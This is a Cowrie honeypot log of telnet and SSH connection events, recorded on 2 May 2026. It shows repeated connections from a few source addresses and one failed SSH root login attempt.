{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":44912,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f707e5826d9","protocol":"telnet","message":"New connection: 193.22.147.168:44912 (10.17.0.5:23) [session: 6f707e5826d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:04.913823Z"}
{"eventid":"cowrie.session.closed","duration":120.0024185180664,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:05.184326Z","src_ip":"174.142.104.49","session":"760f18c930c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.24674701690674,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:05.269139Z","src_ip":"193.22.147.168","session":"3b5d1ed6b3ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37202,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffa7c2b2162d","protocol":"telnet","message":"New connection: 174.142.104.49:37202 (159.203.135.109:23) [session: ffa7c2b2162d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:05.641747Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":53932,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbeee3c547f8","protocol":"telnet","message":"New connection: 161.132.53.68:53932 (159.203.135.109:23) [session: dbeee3c547f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:06.281916Z"}
{"eventid":"cowrie.session.closed","duration":31.82913589477539,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:07.102740Z","src_ip":"174.142.104.49","session":"2cd61a9e5d64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.327810764312744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:07.497677Z","src_ip":"161.132.53.68","session":"738f24f1c107","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":44924,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ff9189ac185","protocol":"telnet","message":"New connection: 193.22.147.168:44924 (10.17.0.5:23) [session: 2ff9189ac185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:07.851902Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":44936,"dst_ip":"10.17.0.5","dst_port":23,"session":"3309da98e4c9","protocol":"telnet","message":"New connection: 193.22.147.168:44936 (10.17.0.5:23) [session: 3309da98e4c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:07.863840Z"}
{"eventid":"cowrie.session.closed","duration":31.17810368537903,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:08.003697Z","src_ip":"174.142.104.49","session":"36ff182de5ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99202013015747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:08.754563Z","src_ip":"174.142.104.49","session":"ead091393931","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":57644,"dst_ip":"159.203.135.109","dst_port":23,"session":"9991e0ec1ffe","protocol":"telnet","message":"New connection: 161.132.53.68:57644 (159.203.135.109:23) [session: 9991e0ec1ffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:08.799262Z"}
{"eventid":"cowrie.session.closed","duration":31.98626160621643,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:09.599677Z","src_ip":"193.22.147.168","session":"876481ac61d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79249930381775,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:09.769636Z","src_ip":"174.142.104.49","session":"b0c1641b4531","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00148797035217,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:10.296685Z","src_ip":"174.142.104.49","session":"3e2069af0c3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.92194151878357,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:10.622022Z","src_ip":"193.22.147.168","session":"7f780465d5ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00153493881226,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:10.996360Z","src_ip":"174.142.104.49","session":"488e6d1a98e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39044,"dst_ip":"159.203.135.109","dst_port":23,"session":"12d25d058652","protocol":"telnet","message":"New connection: 174.142.104.49:39044 (159.203.135.109:23) [session: 12d25d058652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:11.178574Z"}
{"eventid":"cowrie.session.closed","duration":30.72680950164795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:11.774254Z","src_ip":"174.142.104.49","session":"6cfb0db351ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":57658,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe564fa80e32","protocol":"telnet","message":"New connection: 161.132.53.68:57658 (159.203.135.109:23) [session: fe564fa80e32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:13.860636Z"}
{"eventid":"cowrie.session.closed","duration":30.74789309501648,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:14.647131Z","src_ip":"174.142.104.49","session":"bae07396763d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01446652412415,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:14.723857Z","src_ip":"174.142.104.49","session":"a227c20d392b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00146245956421,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:15.440608Z","src_ip":"174.142.104.49","session":"5f596c62d804","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00149917602539,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:15.562897Z","src_ip":"174.142.104.49","session":"a280dd54d24b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":80.3199303150177,"message":"Connection lost after 80 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:15.881651Z","src_ip":"174.142.104.49","session":"ba25ac265636","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.363125324249268,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:16.388681Z","src_ip":"174.142.104.49","session":"f53d3595df6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.460325002670288,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:16.643743Z","src_ip":"193.22.147.168","session":"6824e55e3970","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23686456680298,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:16.942447Z","src_ip":"174.142.104.49","session":"94748b88db07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":49016,"dst_ip":"159.203.135.109","dst_port":23,"session":"89c64ae6307a","protocol":"telnet","message":"New connection: 161.132.53.68:49016 (159.203.135.109:23) [session: 89c64ae6307a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:16.977738Z"}
{"eventid":"cowrie.session.closed","duration":31.579174995422363,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:17.410810Z","src_ip":"161.132.53.68","session":"ec49c93de3cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.32675862312317,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:17.781966Z","src_ip":"193.22.147.168","session":"ad73c2c3c003","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.021774291992188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:18.056316Z","src_ip":"174.142.104.49","session":"420e5848dd72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52136,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f6dbef0491d","protocol":"telnet","message":"New connection: 174.142.104.49:52136 (159.203.135.109:23) [session: 7f6dbef0491d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:18.153638Z"}
{"eventid":"cowrie.session.closed","duration":32.426130056381226,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:18.935867Z","src_ip":"161.132.53.68","session":"5160f95c128a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":44892,"dst_ip":"10.17.0.5","dst_port":23,"session":"71d0212689ae","protocol":"telnet","message":"New connection: 193.22.147.168:44892 (10.17.0.5:23) [session: 71d0212689ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:19.289766Z"}
{"eventid":"cowrie.session.closed","duration":31.694302558898926,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:19.457510Z","src_ip":"161.132.53.68","session":"d5f8b60de9e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.033658266067505,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:19.812957Z","src_ip":"161.132.53.68","session":"849a28ea2584","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00191569328308,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:20.427440Z","src_ip":"174.142.104.49","session":"9df0a02c385d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.5495719909668,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:20.538410Z","src_ip":"193.22.147.168","session":"f257f9d9e954","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53682,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1d121c9e8b7","protocol":"telnet","message":"New connection: 104.245.105.2:53682 (10.17.0.5:23) [session: a1d121c9e8b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:20.787772Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":49018,"dst_ip":"159.203.135.109","dst_port":23,"session":"817db91d2f87","protocol":"telnet","message":"New connection: 161.132.53.68:49018 (159.203.135.109:23) [session: 817db91d2f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:21.654013Z"}
{"eventid":"cowrie.session.closed","duration":33.00883150100708,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:21.791943Z","src_ip":"161.132.53.68","session":"47d70b3568f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.61282181739807,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:22.477516Z","src_ip":"104.245.105.2","session":"cddc382ec8f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":49020,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2b0a5d1b424","protocol":"telnet","message":"New connection: 161.132.53.68:49020 (159.203.135.109:23) [session: f2b0a5d1b424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:22.524461Z"}
{"eventid":"cowrie.session.closed","duration":33.6383855342865,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:22.954820Z","src_ip":"193.22.147.168","session":"5dd47c96011e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":108.54680895805359,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:23.052834Z","src_ip":"174.142.104.49","session":"5ea017f868d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":57592,"dst_ip":"10.17.0.5","dst_port":23,"session":"afc71d12144e","protocol":"telnet","message":"New connection: 193.22.147.168:57592 (10.17.0.5:23) [session: afc71d12144e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:24.663339Z"}
{"eventid":"cowrie.session.closed","duration":31.626583337783813,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:24.973924Z","src_ip":"174.142.104.49","session":"6968f82774ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.553374528884888,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:25.133623Z","src_ip":"193.22.147.168","session":"4f51a8da3f37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":49024,"dst_ip":"159.203.135.109","dst_port":23,"session":"052bdbb7a4c8","protocol":"telnet","message":"New connection: 161.132.53.68:49024 (159.203.135.109:23) [session: 052bdbb7a4c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:25.141201Z"}
{"eventid":"cowrie.session.closed","duration":32.02427959442139,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:25.165990Z","src_ip":"161.132.53.68","session":"7ec54041b157","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":57608,"dst_ip":"10.17.0.5","dst_port":23,"session":"27dc441fd9bd","protocol":"telnet","message":"New connection: 193.22.147.168:57608 (10.17.0.5:23) [session: 27dc441fd9bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:25.849180Z"}
{"eventid":"cowrie.session.closed","duration":31.91483235359192,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:30.293260Z","src_ip":"193.22.147.168","session":"6b9782b21df0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46840,"dst_ip":"159.203.135.109","dst_port":23,"session":"98cc4fab2d73","protocol":"telnet","message":"New connection: 174.142.104.49:46840 (159.203.135.109:23) [session: 98cc4fab2d73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:31.641846Z"}
{"eventid":"cowrie.session.closed","duration":31.46747922897339,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:31.781802Z","src_ip":"193.22.147.168","session":"9968af29343d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.304830074310303,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:32.860305Z","src_ip":"174.142.104.49","session":"c92e558beeef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.69","src_port":38164,"dst_ip":"159.203.135.109","dst_port":22,"session":"671e7e3fc9ce","protocol":"ssh","message":"New connection: 165.154.6.69:38164 (159.203.135.109:22) [session: 671e7e3fc9ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:33.393379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:33.397053Z","src_ip":"165.154.6.69","session":"671e7e3fc9ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:33.612787Z","src_ip":"165.154.6.69","session":"671e7e3fc9ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian123","message":"login attempt [root/debian123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:34.510504Z","src_ip":"165.154.6.69","session":"671e7e3fc9ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.362431526184082,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:35.252970Z","src_ip":"161.132.53.68","session":"86ae67acb9b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.192256689071655,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:35.481809Z","src_ip":"193.22.147.168","session":"71d0212689ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.605639696121216,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:35.519340Z","src_ip":"193.22.147.168","session":"6f707e5826d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.056562662124634,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:35.543540Z","src_ip":"193.22.147.168","session":"17974a05b8ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.320428133010864,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:35.680699Z","src_ip":"193.22.147.168","session":"1f9476465551","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:35.729707Z","src_ip":"165.154.6.69","session":"671e7e3fc9ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":94.93905377388,"message":"Connection lost after 94 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:36.804793Z","src_ip":"174.142.104.49","session":"4778e68906d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.354629278182983,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:36.996228Z","src_ip":"174.142.104.49","session":"ffa7c2b2162d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.72510504722595,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:37.087919Z","src_ip":"193.22.147.168","session":"48520bc416cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.181042432785034,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:37.462833Z","src_ip":"161.132.53.68","session":"dbeee3c547f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.039060592651367,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:38.902589Z","src_ip":"193.22.147.168","session":"3309da98e4c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15483856201172,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:39.006600Z","src_ip":"193.22.147.168","session":"2ff9189ac185","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":48436,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb969d0f2073","protocol":"telnet","message":"New connection: 193.22.147.168:48436 (10.17.0.5:23) [session: fb969d0f2073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:39.286776Z"}
{"eventid":"cowrie.session.closed","duration":31.300384998321533,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:40.099517Z","src_ip":"161.132.53.68","session":"9991e0ec1ffe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":50426,"dst_ip":"10.17.0.5","dst_port":23,"session":"734dd789d070","protocol":"telnet","message":"New connection: 193.22.147.168:50426 (10.17.0.5:23) [session: 734dd789d070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:40.288406Z"}
{"eventid":"cowrie.session.closed","duration":87.48319387435913,"message":"Connection lost after 87 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:40.361850Z","src_ip":"174.142.104.49","session":"c44c78183556","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":48438,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e6db6471ae5","protocol":"telnet","message":"New connection: 193.22.147.168:48438 (10.17.0.5:23) [session: 5e6db6471ae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:40.366829Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":50430,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d56b3cfa96c","protocol":"telnet","message":"New connection: 193.22.147.168:50430 (10.17.0.5:23) [session: 6d56b3cfa96c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:43.129226Z"}
{"eventid":"cowrie.session.closed","duration":120.00232005119324,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:44.030421Z","src_ip":"174.142.104.49","session":"4a2d179bef4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48798179626465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:44.348455Z","src_ip":"161.132.53.68","session":"fe564fa80e32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00126242637634,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:44.746711Z","src_ip":"174.142.104.49","session":"e1610bbb2078","protocol":"telnet"}
